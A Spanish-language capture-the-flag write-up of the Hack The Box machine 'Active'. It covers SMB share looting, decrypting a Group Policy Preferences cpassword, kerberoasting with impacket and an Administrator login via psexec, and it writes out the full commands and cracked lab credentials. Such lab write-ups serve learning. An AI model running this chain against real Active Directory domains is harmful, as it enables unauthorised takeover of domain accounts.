Reconnaisance

Nmap Recon Results

Discovery OS System

Recon Open Ports

Service Enumeration

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-06-10 12:24:33Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
49170/tcp open  msrpc         Microsoft Windows RPC
49173/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2021-06-10T12:25:30
|_  start_date: 2021-06-10T12:20:45

De la salida de nmap podemos deducir que es un controlador de dominio ya que posee el puerto 88 kerberos abierto, al igual que el 53 de un DNS algo comun en DC.

Dns Enumeration

cuando intentamos enumerar el servidor DNS vemos que no nos devuelve ninguna informacion relevante asi que continuamos con la enumeracion

Samba Enumeration

Encontramos un recurso compartido con permisos de lectura en el servidor samba, llamado Replication asi que listaremos su contenido para ver que archivos interesantes se pueden alojar en esta ubicacion. para esto nos descargaremos el recurso a nuestra maquina local

smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 as GPT.INI (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\GPE.INI of size 119 as GPE.INI (0.2 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 1098 as GptTmpl.inf (2.0 KiloBytes/sec) (average 0.7 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (1.0 KiloBytes/sec) (average 0.8 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol of size 2788 as Registry.pol (5.1 KiloBytes/sec) (average 1.7 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI of size 22 as GPT.INI (0.0 KiloBytes/sec) (average 1.4 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 3722 as GptTmpl.inf (6.8 KiloBytes/sec) (average 2.2 KiloBytes/sec)

listando los distintos archivos vemos que existe el fichero ==“Groups.xml”== que se nos hace muy interesante ya que el mismo posee informacion del “group policies preference” o GPP de windows , pero antes que eso googleamos

en el siguiente Recurso encontramos lo sencillo que es desencriptar el hash del campo Cpassword ya que Windows Libero la clave Privada AES-256 bit con la que se genera el hash en el (2014), pueden echarle un vistaso en el siguiente LINK

AltText|800

Fichero Groups.xml

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
	<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">
		<Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/>
	</User>
</Groups>

GPP (preferencias de polรญtica de grupo)

Cuando se configura la Polรญtica de grupo (GPP) , se crea un directorio “SYSVOL” que posee Groups.xml donde el mismo es el que el contiene las configuraciones correspondientes. Entre otras cosas, este archivo contiene informacion como el nombre de usuario y una contraseรฑas encriptada en el campo cpassword , por ejp a continuacion filtraremos la data que nos interesa.

cat Groups.xml | grep -oP "name=\".*?\"|cpassword=\".*?\""
name="active.htb\SVC_TGS"
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

bien ahora ahremos uso de la herramienta gpp-decrypt para desencriptar el campo cpassword

  • Credential : active.htb\SVC_TGS:GPPstillStandingStrong2k18

probaremos la credencial con crackmapexec para verificar si es valida

como vemos con la credencial ahora tenemos privilegio de lectura en mas recursos, e inclusive podemos enumerar usuarios o grupos del dominio con rpcclient pero ahora utilizaremos una herramienta alternativa de impacket llamada GetADUsers.py que nos permite enumerar usuarios al igual que con rpcclient

Enumerando Usuarios y Grupos del Dominio Con Credenciales Validas /usr/share/doc/python3-impacket/examples/GetADUsers.py -all active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.159.212

Privilege Escalation

Kerberoasting

para efectuar el ataque kerberoasting usaremos la utilidad GetUserSPNs.py de impacket que nos permite realizar dicho ataque para obtener un “Ticket Granting Service” o ==TGS== el cual podemos utilizar para crackear con JohnTheRipper o Hashcat y asi obtener la credencial de usuario “Administrador” /usr/share/doc/python3-impacket/examples/GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.159.212 -request -output tgs-hash

y aqui tenemos nuestro TGS para crackear con JTR

crackeamos el hash del TGS e intetaremos loguearnos

  • Valid Credential : Administrator:Ticketmaster1968

/usr/bin/impacket-psexec active.htb/Administrator:Ticketmaster1968@10.129.159.212